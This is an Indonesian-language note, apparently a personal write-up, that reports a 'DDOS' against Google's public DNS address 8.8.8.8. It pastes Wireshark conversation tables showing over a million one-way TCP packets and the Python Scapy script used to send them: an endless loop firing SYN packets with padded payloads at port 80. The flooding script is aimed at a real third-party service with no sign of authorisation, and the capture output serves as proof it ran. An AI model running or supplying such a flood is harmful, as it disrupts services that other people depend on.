

# Wireshark

Hasil DDOS Google :

Ethernet - 1 IPv4 - 1 IPv6 TCP - 1 UDP														
Address A	Port A	Address B	Port B	Packets	Bytes	Stream ID	Total Packets	Percent Filtered	Packets A → B	Bytes A → B	Packets B → A	Bytes B → A	Rel Start	Duration
192.168.0.106	20	8.8.8.8	80	40,362	51 MB	21	40,362	100.00%	40,362	51 MB	0	0 bytes	123.942985	100.8789

Ethernet - 1															IPv4 - 1	IPv6	TCP - 5		UDP	
Address A	Port A	Address B	Port B	Packets	Bytes	Stream ID	Total Packets	Percent Filtered	Packets A → B	Bytes A → B	Packets B → A	Bytes B → A	Rel Start	Duration						
192.168.0.106	20	8.8.8.8	80	355,948	446 MB	21	355,948	100.00%	355,948	446 MB	0	0 bytes	123.942985	916.6607						
192.168.0.106	62864	8.8.8.8	443	10	1 KB	62	19	52.63%	10	1 KB	0	0 bytes	874.458364	0.6102						
192.168.0.106	62865	8.8.8.8	853	8	1 KB	63	16	50.00%	8	1 KB	0	0 bytes	874.459246	0.6105						
192.168.0.106	62866	8.8.8.8	853	10	1 KB	65	18	55.56%	10	1 KB	0	0 bytes	874.611401	1.4283						
192.168.0.106	62867	8.8.8.8	443	9	1 KB	66	18	50.00%	9	1 KB	0	0 bytes	874.663914	0.5965						

Payload yang digunakan :

```
1. from scapy all import IP, TCP, Raw, send
2.
3. dst_ip = "8.8.8.8"
4. dst_port = 80
5.
6. payload = b"1234567890" * 120
7.
8. tcp_syn_packet = IP(dst=dst_ip) / TCP(dport=dst_port, flags="S") / Raw(load=payload)
9.
10. while True:
11.     send(tcp_syn_packet, verbose=0)
12.     print("wait for it")
```

Packet yang 1 juta menunjukkan traffic DDOS

Wireshark - Conversations - Wi-Fi: en0

Conversation Settings

☐ Name resolution

☐ Absolute start time

☒ Limit to display filter

Copy

Follow Stream...

Graph...

Protocol

☐ Bluetooth

☐ DCCP

☒ Ethernet

☐ FC

☐ FDDI

☐ IEEE 802.11

☐ IEEE 802.15.4

☒ IPv4

☒ IPv6

☐ IPX

☐ JXTA

☐ MPTCP

☐ NFS

Filter list for specific type

Ethernet - 2IPv4 - 1IPv6TCP - 9UDP

Address A	Port A	Address B	Port B	Packets	Bytes	Stream ID	Total Packets	Percent Filtered	Packets A → B	Bytes A → B	Packets B → A	Bytes B → A	Rel Start	Duration
192.168.0.106	20	8.8.8.8	80	1,071,283	1 GB	21	1,071,283	100.00%	1,071,283	1 GB	0	0 bytes	123.942985	2756.1538
192.168.0.106	62864	8.8.8.8	443	10	1 kB	62	19	52.63%	10	1 kB	0	0 bytes	874.458364	0.6102
192.168.0.106	62865	8.8.8.8	853	8	1 kB	63	16	50.00%	8	1 kB	0	0 bytes	874.459246	0.6105
192.168.0.106	62866	8.8.8.8	853	10	1 kB	65	18	55.56%	10	1 kB	0	0 bytes	874.611401	1.4283
192.168.0.106	62867	8.8.8.8	443	9	1 kB	66	18	50.00%	9	1 kB	0	0 bytes	874.663914	0.5965
192.168.0.106	62945	8.8.8.8	443	9	1 kB	163	17	52.94%	9	1 kB	0	0 bytes	2689.379339	0.1968
192.168.0.106	62946	8.8.8.8	853	7	1 kB	164	15	46.67%	7	1 kB	0	0 bytes	2689.380189	0.1969
192.168.0.106	62947	8.8.8.8	853	7	1 kB	165	16	43.75%	7	1 kB	0	0 bytes	2689.389676	0.2213
192.168.0.106	62948	8.8.8.8	443	10	1 kB	166	18	55.56%	10	1 kB	0	0 bytes	2689.444806	0.5823

Help

Close

